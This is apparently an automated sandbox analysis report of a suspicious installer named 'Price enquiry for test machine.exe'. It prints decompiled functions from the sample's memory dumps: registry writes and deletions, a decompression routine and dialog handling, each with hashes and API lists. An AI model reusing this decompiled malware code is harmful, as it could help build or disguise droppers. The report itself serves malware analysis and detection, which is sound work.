Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 82db8536561177d1b172f5ac56095865a7e50fae45f9622e7ddcc8e846317807
Instruction ID: c6984150c403b35497dc18a40ce28a5dc8b104db4e9527dfc76b44ca96ff41d6
Opcode Fuzzy Hash: 82db8536561177d1b172f5ac56095865a7e50fae45f9622e7ddcc8e846317807
Instruction Fuzzy Hash: 5D01FF70A44208BBEB209F60DD49EEE3769FB04345F008039FA06A92D1D7B5AA558F99

Uniqueness

Uniqueness Score: -1.00%

Function 00402336, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00402336(void* __eax) {
				void* _t15;
				char* _t18;
				int _t19;
				char _t24;
				int _t27;
				signed int _t30;
				intOrPtr _t35;
				void* _t37;

				_t15 = E00402B1E(__eax);
				_t35 =  *((intOrPtr*)(_t37 - 0x18));
				 *(_t37 - 0x34) =  *(_t37 - 0x14);
				 *(_t37 - 0x38) = E00402A29(2);
				_t18 = E00402A29(0x11);
				_t30 =  *0x423ff0; // 0x0
				 *(_t37 - 4) = 1;
				_t19 = RegCreateKeyExA(_t15, _t18, _t27, _t27, _t27, _t30 | 0x00000002, _t27, _t37 + 8, _t27);
				if(_t19 == 0) {
					if(_t35 == 1) {
						E00402A29(0x23);
						_t19 = lstrlenA(0x40a410) + 1;
					}
					if(_t35 == 4) {
						_t24 = E00402A0C(3);
						 *0x40a410 = _t24;
						_t19 = _t35;
					}
					if(_t35 == 3) {
						_t19 = E00402E8E( *((intOrPtr*)(_t37 - 0x1c)), _t27, 0x40a410, 0xc00);
					}
					if(RegSetValueExA( *(_t37 + 8),  *(_t37 - 0x38), _t27,  *(_t37 - 0x34), 0x40a410, _t19) == 0) {
						 *(_t37 - 4) = _t27;
					}
					_push( *(_t37 + 8));
					RegCloseKey();
				}
				 *0x423fc8 =  *0x423fc8 +  *(_t37 - 4);
				return 0;
			}

0x00402337
0x0040233c
0x00402346
0x00402350
0x00402353
0x0040235d
0x0040236d
0x00402374
0x0040237c
0x0040238a
0x0040238e
0x00402399
0x00402399
0x0040239d
0x004023a1
0x004023a7
0x004023ac
0x004023ac
0x004023b0
0x004023bc
0x004023bc
0x004023d5
0x004023d7
0x004023d7
0x004023da
0x004024b0
0x004024b0
0x004028c1
0x004028cd

APIs

RegCreateKeyExA.ADVAPI32(00000000,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 00402374
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nslB4AA.tmp,00000023,?,?,?,00000000,?,?,?,00000011,00000002), ref: 00402394
RegSetValueExA.ADVAPI32(?,?,?,?,C:\Users\user\AppData\Local\Temp\nslB4AA.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 004023CD
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nslB4AA.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 004024B0

Strings

C:\Users\user\AppData\Local\Temp\nslB4AA.tmp, xrefs: 00402385, 00402393, 004023A7, 004023B7, 004023C2

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nslB4AA.tmp
API String ID: 1356686001-4024446517
Opcode ID: 9bf654010a188213ed9da3fb996897beb0b6485406045e6761b6e0bfc6b57b1d
Instruction ID: e6eb4e552242eddf296ff96e6d07a7eb6613d299afeb9756830ee7ce8f9eb162
Opcode Fuzzy Hash: 9bf654010a188213ed9da3fb996897beb0b6485406045e6761b6e0bfc6b57b1d
Instruction Fuzzy Hash: 7111A271E00108BFEB10EFA5DE8DEAF7678EB40758F10443AF505B31D0C6B85D419A69

Uniqueness

Uniqueness Score: -1.00%

Function 72E42260, Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 244
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E72E42260(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, char _a20, signed int _a28, intOrPtr _a32) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				int _v24;
				signed int _v28;
				intOrPtr _v32;
				char _v36;
				int _v40;
				signed int _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				signed int _t127;
				signed int _t141;
				signed int _t143;
				signed int _t152;
				signed int _t154;
				signed int _t159;
				signed int _t187;
				signed int _t204;
				signed int _t211;
				void* _t225;
				void* _t226;
				void* _t227;
				void* _t229;
				void* _t231;

				_v52 = _a4 + _a8;
				_v32 = _a20 + _a16;
				_v16 = 0;
				_v24 = 0;
				_t127 = _a16;
				0x72e40000("decoding stream of size %u to size %u, starting at %u\n", _a8, _t127, _a20);
				_t226 = _t225 + 0x10;
				if(_a8 != 0) {
					__eflags = _a28;
					if(_a28 == 0) {
						L8:
						0x72e40000(0x40c44);
						_t227 = _t226 + 4;
						_v8 = _t127;
						__eflags = _v8;
						if(_v8 != 0) {
							memset(_v8 + 0x38, 0, 0xa10);
							memset(_v8 + 0xa48, 0, 0xf9);
							_t229 = _t227 + 0x18;
							 *((intOrPtr*)(_v8 + 0x20)) = 1;
							 *((intOrPtr*)(_v8 + 0xbadbcd)) = 1;
							 *((intOrPtr*)(_v8 + 0xbadbcd)) = 1;
							_v48 = 1;
							_v12 = 0x20000;
							_v20 = _a20 + 0x00007fff & 0xffff8000;
							_t204 = _v20 + _a16;
							__eflags = _t204;
							_v20 = _t204;
							 *((intOrPtr*)(_v8 + 0x2c)) = 0x22;
							while(1) {
								__eflags = _v12 - _v20;
								if(_v12 >= _v20) {
									break;
								}
								__eflags = _v12 - 0x80000;
								if(_v12 >= 0x80000) {
									break;
								}
								 *((intOrPtr*)(_v8 + 0x2c)) =  *((intOrPtr*)(_v8 + 0x2c)) + 2;
								_v12 = _v12 << 1;
							}
							_v28 = 4;
							while(1) {
								__eflags = _v12 - _v20;
								if(_v12 >= _v20) {
									break;
								}
								__eflags = _v12 - _v48;
								if(_v12 >= _v48) {
									break;
								}
								 *((intOrPtr*)(_v8 + 0x2c)) =  *((intOrPtr*)(_v8 + 0x2c)) + _v28;
								_v28 = _v28 << 1;
								_v12 = _v12 << 1;
							}
							0x72e40000("setting window to 0x%X\n", _v12);
							 *(_v8 + 0x18) = 0;
							 *(_v8 + 0x1c) = 0;
							 *_v8 = _a4;
							 *((intOrPtr*)(_v8 + 4)) = _a4;
							 *((intOrPtr*)(_v8 + 0x10)) = _v52;
							 *((intOrPtr*)(_v8 + 8)) =  *((intOrPtr*)(_v8 + 4));
							_t141 = E72E41100(_v8, _a20, _v32);
							_t231 = _t229 + 0x14;
							__eflags = _t141;
							if(_t141 == 0) {
								_t186 = _v8;
								E72E411B0(_v8);
								_t143 = E72E41230(_v8, _v8, 1);
								_t231 = _t231 + 0xc;
								_v44 = _t143;
								__eflags = _v44;
								if(_v44 != 0) {
									_v16 = E72E41230(_t186, _v8, 0x10) << 0x10;
									_t159 = E72E41230(_v8, _v8, 0x10) | _v16;
									__eflags = _t159;
									_v16 = _t159;
									0x72e40000("E8 transform detected; file size %u\n", _v16);
									_t231 = _t231 + 0x18;
								}
								_v36 = _a20;
								while(1) {
									_t187 = _v8;
									_t211 = _v8;
									__eflags =  *((intOrPtr*)(_t187 + 4)) -  *((intOrPtr*)(_t211 + 0x10));
									if( *((intOrPtr*)(_t187 + 4)) >=  *((intOrPtr*)(_t211 + 0x10))) {
										break;
									}
									__eflags = _v36 - _v32;
									if(__eflags >= 0) {
										break;
									}
									_t152 = E72E41AD0(_a20, __eflags, _v8, _a12, _a20,  &_v36, _v32);
									_t231 = _t231 + 0x14;
									__eflags = _t152;
									if(_t152 == 0) {
										__eflags = _a28;
										if(_a28 == 0) {
											L30:
											continue;
										}
										_t154 = _a28(_a32, _v36 - _a20, _a16);
										__eflags = _t154;
										if(_t154 != 0) {
											goto L30;
										}
										_v24 = 0x4c7;
										L33:
										0x72e40000(_v8);
										return _v24;
									}
									_v24 = 0xc00e4101;
									goto L33;
								}
								__eflags = _v44;
								if(_v44 != 0) {
									__eflags = _a12 + _a20;
									E72E42100(_a12 + _a20, _a16, _v16);
									_t231 = _t231 + 0xc;
								}
								goto L33;
							}
							_v24 = 0xc00e4101;
							goto L33;
						}
						return 0xe;
					}
					_t127 = _a28(_a32, 0, _a16);
					__eflags = _t127;
					if(_t127 != 0) {
						goto L8;
					}
					return 0x4c7;
				}
				if(_a16 != 0) {
					_v40 = 0xc00e4102;
				} else {
					_v40 = 0;
				}
				return _v40;
			}

0x72e4226c
0x72e42275
0x72e42278
0x72e4227f
0x72e4228a
0x72e42297
0x72e4229c
0x72e422a3
0x72e422c3
0x72e422c7
0x72e422e4
0x72e422e9
0x72e422ee
0x72e422f1
0x72e422f4
0x72e422f8
0x72e42312
0x72e4232b
0x72e42330
0x72e4233e
0x72e42351
0x72e42363
0x72e4236b
0x72e42372
0x72e42388
0x72e4238e
0x72e4238e
0x72e42391
0x72e42397
0x72e4239e
0x72e423a1
0x72e423a4
0x00000000
0x00000000
0x72e423a6
0x72e423ad
0x00000000
0x00000000
0x72e423bb
0x72e423c3
0x72e423c3
0x72e423c8
0x72e423cf
0x72e423d2
0x72e423d5
0x00000000
0x00000000
0x72e423da
0x72e423dd
0x00000000
0x00000000
0x72e423eb
0x72e423f3
0x72e423fb
0x72e423fb
0x72e42409
0x72e42414
0x72e4241e
0x72e4242b
0x72e42433
0x72e4243c
0x72e42448
0x72e42457
0x72e4245c
0x72e4245f
0x72e42461
0x72e4246f
0x72e42473
0x72e42481
0x72e42486
0x72e42489
0x72e4248c
0x72e42490
0x72e424a3
0x72e424b4
0x72e424b4
0x72e424b7
0x72e424c3
0x72e424c8
0x72e424c8
0x72e424ce
0x72e424d1
0x72e424d1
0x72e424d4
0x72e424da
0x72e424dd
0x00000000
0x00000000
0x72e424e2
0x72e424e5
0x00000000
0x00000000
0x72e424fb
0x72e42500
0x72e42503
0x72e42505
0x72e42510
0x72e42514
0x72e42535
0x00000000
0x72e42535
0x72e42525
0x72e42528
0x72e4252a
0x00000000
0x00000000
0x72e4252c
0x72e42554
0x72e42558
0x00000000
0x72e42560
0x72e42507
0x00000000
0x72e42507
0x72e42537
0x72e4253b
0x72e42548
0x72e4254c
0x72e42551
0x72e42551
0x00000000
0x72e4253b
0x72e42463
0x00000000
0x72e42463
0x00000000
0x72e422fa
0x72e422d3
0x72e422d6
0x72e422d8
0x00000000
0x00000000
0x00000000
0x72e422da
0x72e422a9
0x72e422b4
0x72e422ab
0x72e422ab
0x72e422ab
0x00000000

APIs

memset.MSVCRT ref: 72E42312
memset.MSVCRT ref: 72E4232B

Strings

setting window to 0x%X, xrefs: 72E42404
E8 transform detected; file size %u, xrefs: 72E424BE
decoding stream of size %u to size %u, starting at %u, xrefs: 72E42292

Memory Dump Source

Source File: 00000000.00000002.290479341.0000000072E41000.00000020.00020000.sdmp, Offset: 72E40000, based on PE: true

Associated: 00000000.00000002.290458874.0000000072E40000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290518667.0000000072E45000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290525123.0000000072E46000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.290531660.0000000072E48000.00000002.00020000.sdmp Download File

Similarity

API ID: memset
String ID: E8 transform detected; file size %u$decoding stream of size %u to size %u, starting at %u$setting window to 0x%X
API String ID: 2221118986-4286174769
Opcode ID: 1e0e21a5bf146b34007c5f143e5945cb99dac853668dac801be6ab322efc303a
Instruction ID: 2b83c2765f4c176c420ddd715e64952b1f5482990e950129ae6baef91e9f8eb2
Opcode Fuzzy Hash: 1e0e21a5bf146b34007c5f143e5945cb99dac853668dac801be6ab322efc303a
Instruction Fuzzy Hash: 7FA118B5E00109EFDB04CF98E990B9EBBB1BF48308F109158F905AB385DB75AE51CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00402A69, Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00402A69(void* _a4, char* _a8, long _a12) {
				void* _v8;
				char _v272;
				signed char _t16;
				long _t18;
				long _t25;
				intOrPtr* _t27;
				long _t28;

				_t16 =  *0x423ff0; // 0x0
				_t18 = RegOpenKeyExA(_a4, _a8, 0, _t16 | 0x00000008,  &_v8);
				if(_t18 == 0) {
					while(RegEnumKeyA(_v8, 0,  &_v272, 0x105) == 0) {
						__eflags = _a12;
						if(_a12 != 0) {
							RegCloseKey(_v8);
							L8:
							__eflags = 1;
							return 1;
						}
						_t25 = E00402A69(_v8,  &_v272, 0);
						__eflags = _t25;
						if(_t25 != 0) {
							break;
						}
					}
					RegCloseKey(_v8);
					_t27 = E00405F28(4);
					if(_t27 == 0) {
						__eflags =  *0x423ff0; // 0x0
						if(__eflags != 0) {
							goto L8;
						}
						_t28 = RegDeleteKeyA(_a4, _a8);
						__eflags = _t28;
						if(_t28 != 0) {
							goto L8;
						}
						return _t28;
					}
					return  *_t27(_a4, _a8,  *0x423ff0, 0);
				}
				return _t18;
			}

0x00402a79
0x00402a8a
0x00402a92
0x00402aba
0x00402aa1
0x00402aa4
0x00402af4
0x00402afa
0x00402afc
0x00000000
0x00402afc
0x00402ab1
0x00402ab6
0x00402ab8
0x00000000
0x00000000
0x00402ab8
0x00402acf
0x00402ad7
0x00402ade
0x00402b04
0x00402b0a
0x00000000
0x00000000
0x00402b12
0x00402b18
0x00402b1a
0x00000000
0x00000000
0x00000000
0x00402b1a
0x00000000
0x00402aed
0x00402b01

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00000000,?), ref: 00402A8A
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402AC6
RegCloseKey.ADVAPI32(?), ref: 00402ACF
RegCloseKey.ADVAPI32(?), ref: 00402AF4
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402B12

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 5d0b6e0ce49e1b9a68b8278243b858d166325889e329a7d8d46ece79ca10f327
Instruction ID: fd754328231b90d3809392cacc3778cc58b9849b8c5c25df110c081a09ace752
Opcode Fuzzy Hash: 5d0b6e0ce49e1b9a68b8278243b858d166325889e329a7d8d46ece79ca10f327
Instruction Fuzzy Hash: 29116D71A0000AFEDF219F90DE49DAE3B79FB14345B104076FA05A00E0DBB89E51AFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00401CDE, Relevance: 7.5, APIs: 5, Instructions: 39
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401CDE(int __edx) {
				void* _t17;
				struct HINSTANCE__* _t21;
				struct HWND__* _t25;
				void* _t27;

				_t25 = GetDlgItem( *(_t27 - 8), __edx);
				GetClientRect(_t25, _t27 - 0x50);
				_t17 = SendMessageA(_t25, 0x172, _t21, LoadImageA(_t21, E00402A29(_t21), _t21,  *(_t27 - 0x48) *  *(_t27 - 0x20),  *(_t27 - 0x44) *  *(_t27 - 0x20), 0x10));
				if(_t17 != _t21) {
					DeleteObject(_t17);
				}
				 *0x423fc8 =  *0x423fc8 +  *((intOrPtr*)(_t27 - 4));
				return 0;
			}

0x00401ce8
0x00401cef
0x00401d1e
0x00401d26
0x00401d2d
0x00401d2d
0x004028c1
0x004028cd

APIs

GetDlgItem.USER32 ref: 00401CE2
GetClientRect.USER32 ref: 00401CEF
LoadImageA.USER32 ref: 00401D10
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D1E
DeleteObject.GDI32(00000000), ref: 00401D2D

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: b6dc52a7f50dc5a5b8d69a970bc0364d2e288b966cb10631b9234e7e7e1bdde9
Instruction ID: 6b5de524c76fb4cd20547a313357388a8ed9b6ad8842e2156e420fd608a0a23d
Opcode Fuzzy Hash: b6dc52a7f50dc5a5b8d69a970bc0364d2e288b966cb10631b9234e7e7e1bdde9
Instruction Fuzzy Hash: 75F0EC72A04118AFD701EBA4DE88DAFB77CFB44305B14443AF501F6190C7749D019B79

Uniqueness

Uniqueness Score: -1.00%

Function 00404649, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00404649(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				char _v36;
				char _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t21;
				signed int _t22;
				void* _t29;
				void* _t31;
				void* _t32;
				void* _t41;
				signed int _t43;
				signed int _t47;
				signed int _t50;
				signed int _t51;
				signed int _t53;

				_t21 = _a16;
				_t51 = _a12;
				_t41 = 0xffffffdc;
				if(_t21 == 0) {
					_push(0x14);
					_pop(0);
					_t22 = _t51;
					if(_t51 < 0x100000) {
						_push(0xa);
						_pop(0);
						_t41 = 0xffffffdd;
					}
					if(_t51 < 0x400) {
						_t41 = 0xffffffde;
					}
					if(_t51 < 0xffff3333) {
						_t50 = 0x14;
						asm("cdq");
						_t22 = 1 / _t50 + _t51;
					}
					_t23 = _t22 & 0x00ffffff;
					_t53 = _t22 >> 0;
					_t43 = 0xa;
					_t47 = ((_t22 & 0x00ffffff) + _t23 * 4 + (_t22 & 0x00ffffff) + _t23 * 4 >> 0) % _t43;
				} else {
					_t53 = (_t21 << 0x00000020 | _t51) >> 0x14;
					_t47 = 0;
				}
				_t29 = E00405BBA(_t41, _t47, _t53,  &_v36, 0xffffffdf);
				_t31 = E00405BBA(_t41, _t47, _t53,  &_v68, _t41);
				_t32 = E00405BBA(_t41, _t47, 0x420538, 0x420538, _a8);
				wsprintfA(_t32 + lstrlenA(0x420538), "%u.%u%s%s", _t53, _t47, _t31, _t29);
				return SetDlgItemTextA( *0x423718, _a4, 0x420538);
			}

0x0040464f
0x00404654
0x0040465c
0x0040465d
0x0040466a
0x00404672
0x00404673
0x00404675
0x00404677
0x00404679
0x0040467c
0x0040467c
0x00404683
0x00404689
0x00404689
0x00404690
0x00404697
0x0040469a
0x0040469d
0x0040469d
0x004046a1
0x004046b1
0x004046b3
0x004046b6
0x0040465f
0x0040465f
0x00404666
0x00404666
0x004046be
0x004046c9
0x004046df
0x004046ef
0x0040470b

APIs

lstrlenA.KERNEL32(00420538,00420538,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404564,000000DF,00000000,00000400,?), ref: 004046E7
wsprintfA.USER32 ref: 004046EF
SetDlgItemTextA.USER32 ref: 00404702

Strings

%u.%u%s%s, xrefs: 004046D1

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 9ec326ac30901ad515aaf80f2404a58f9bab4133aba90e091d0e9c932beca6f7
Instruction ID: 33c490f36d39f428f4b6feb88c055206d8f5fbd89635bf607d329e374d543c8d
Opcode Fuzzy Hash: 9ec326ac30901ad515aaf80f2404a58f9bab4133aba90e091d0e9c932beca6f7
Instruction Fuzzy Hash: 5A11D873A0512437EB0065699C41EAF329CDB82335F150637FE26F31D1E9B9DD1145E8

Uniqueness

Uniqueness Score: -1.00%

Function 00401BCA, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00401BCA() {
				signed int _t28;
				CHAR* _t31;
				long _t32;
				int _t37;
				signed int _t38;
				int _t42;
				int _t48;
				struct HWND__* _t52;
				void* _t55;

				 *(_t55 - 8) = E00402A0C(3);
				 *(_t55 + 8) = E00402A0C(4);
				if(( *(_t55 - 0x14) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 8)) = E00402A29(0x33);
				}
				__eflags =  *(_t55 - 0x14) & 0x00000002;
				if(( *(_t55 - 0x14) & 0x00000002) != 0) {
					 *(_t55 + 8) = E00402A29(0x44);
				}
				__eflags =  *((intOrPtr*)(_t55 - 0x2c)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t50 = E00402A29();
					_t28 = E00402A29();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t31 =  ~( *_t27) & _t50;
					__eflags = _t31;
					_t32 = FindWindowExA( *(_t55 - 8),  *(_t55 + 8), _t31,  ~( *_t28) & _t28);
					goto L10;
				} else {
					_t52 = E00402A0C();
					_t37 = E00402A0C();
					_t48 =  *(_t55 - 0x14) >> 2;
					if(__eflags == 0) {
						_t32 = SendMessageA(_t52, _t37,  *(_t55 - 8),  *(_t55 + 8));
						L10:
						 *(_t55 - 0xc) = _t32;
					} else {
						_t38 = SendMessageTimeoutA(_t52, _t37,  *(_t55 - 8),  *(_t55 + 8), _t42, _t48, _t55 - 0xc);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t55 - 4)) =  ~_t38 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t55 - 0x28)) - _t42;
				if( *((intOrPtr*)(_t55 - 0x28)) >= _t42) {
					_push( *(_t55 - 0xc));
					E00405AF6();
				}
				 *0x423fc8 =  *0x423fc8 +  *((intOrPtr*)(_t55 - 4));
				return 0;
			}

0x00401bd3
0x00401bdf
0x00401be2
0x00401beb
0x00401beb
0x00401bee
0x00401bf2
0x00401bfb
0x00401bfb
0x00401bfe
0x00401c02
0x00401c04
0x00401c51
0x00401c53
0x00401c5c
0x00401c64
0x00401c67
0x00401c67
0x00401c70
0x00000000
0x00401c06
0x00401c0d
0x00401c0f
0x00401c17
0x00401c1a
0x00401c42
0x00401c76
0x00401c76
0x00401c1c
0x00401c2a
0x00401c32
0x00401c35
0x00401c35
0x00401c1a
0x00401c79
0x00401c7c
0x00401c82
0x00402866
0x00402866
0x004028c1
0x004028cd

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 5e155985e8b695c365f3075347fc5cad64183b83899d6bbba3f89d2116927a25
Instruction ID: 8eb34b9659dedbc099cc11ce9bc18cab6bc834bdcc036981f8d30f042af137bc
Opcode Fuzzy Hash: 5e155985e8b695c365f3075347fc5cad64183b83899d6bbba3f89d2116927a25
Instruction Fuzzy Hash: C621A171A44149BEEF02AFF4C94AAEE7B75EF44704F10407EF501BA1D1DAB88A40DB29

Uniqueness

Uniqueness Score: -1.00%

Function 004038B4, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004038B4(void* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t6;
				intOrPtr _t11;
				signed int _t13;
				intOrPtr _t15;
				signed int _t16;
				signed short* _t18;
				signed int _t20;
				signed short* _t23;
				intOrPtr _t25;
				signed int _t26;
				intOrPtr* _t27;

				_t24 = "1033";
				_t13 = 0xffff;
				_t6 = E00405B0F(__ecx, "1033");
				while(1) {
					_t26 =  *0x423f84; // 0x1
					if(_t26 == 0) {
						goto L7;
					}
					_t15 =  *0x423f50; // 0x6f2508
					_t16 =  *(_t15 + 0x64);
					_t20 =  ~_t16;
					_t18 = _t16 * _t26 +  *0x423f80;
					while(1) {
						_t18 = _t18 + _t20;
						_t26 = _t26 - 1;
						if((( *_t18 ^ _t6) & _t13) == 0) {
							break;
						}
						if(_t26 != 0) {
							continue;
						}
						goto L7;
					}
					 *0x423720 = _t18[1];
					 *0x423fe8 = _t18[3];
					_t23 =  &(_t18[5]);
					if(_t23 != 0) {
						 *0x42371c = _t23;
						E00405AF6(_t24,  *_t18 & 0x0000ffff);
						SetWindowTextA( *0x420510, E00405BBA(_t13, _t24, _t26, "uxxyribzeom Setup", 0xfffffffe));
						_t11 =  *0x423f6c; // 0x2
						_t27 =  *0x423f68; // 0x6f26b4
						if(_t11 == 0) {
							L15:
							return _t11;
						}
						_t25 = _t11;
						do {
							_t11 =  *_t27;
							if(_t11 != 0) {
								_t5 = _t27 + 0x18; // 0x6f26cc
								_t11 = E00405BBA(_t13, _t25, _t27, _t5, _t11);
							}
							_t27 = _t27 + 0x418;
							_t25 = _t25 - 1;
						} while (_t25 != 0);
						goto L15;
					}
					L7:
					if(_t13 != 0xffff) {
						_t13 = 0;
					} else {
						_t13 = 0x3ff;
					}
				}
			}

0x004038b8
0x004038bd
0x004038c3
0x004038c8
0x004038c8
0x004038d0
0x00000000
0x00000000
0x004038d2
0x004038d8
0x004038e0
0x004038e2
0x004038e8
0x004038e8
0x004038ea
0x004038f6
0x00000000
0x00000000
0x004038fa
0x00000000
0x00000000
0x00000000
0x004038fc
0x00403901
0x0040390a
0x00403910
0x00403915
0x00403929
0x00403934
0x0040394c
0x00403952
0x00403957
0x0040395f
0x00403980
0x00403980
0x00403980
0x00403961
0x00403963
0x00403963
0x00403967
0x0040396a
0x0040396e
0x0040396e
0x00403973
0x00403979
0x00403979
0x00000000
0x00403963
0x00403917
0x0040391c
0x00403925
0x0040391e
0x0040391e
0x0040391e
0x0040391c

APIs

SetWindowTextA.USER32(00000000,uxxyribzeom Setup), ref: 0040394C

Strings

uxxyribzeom Setup, xrefs: 0040393B
"C:\Users\user\Desktop\Price enquiry for test machine.exe" , xrefs: 004038B5
1033, xrefs: 004038B8, 004038C2, 00403933

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
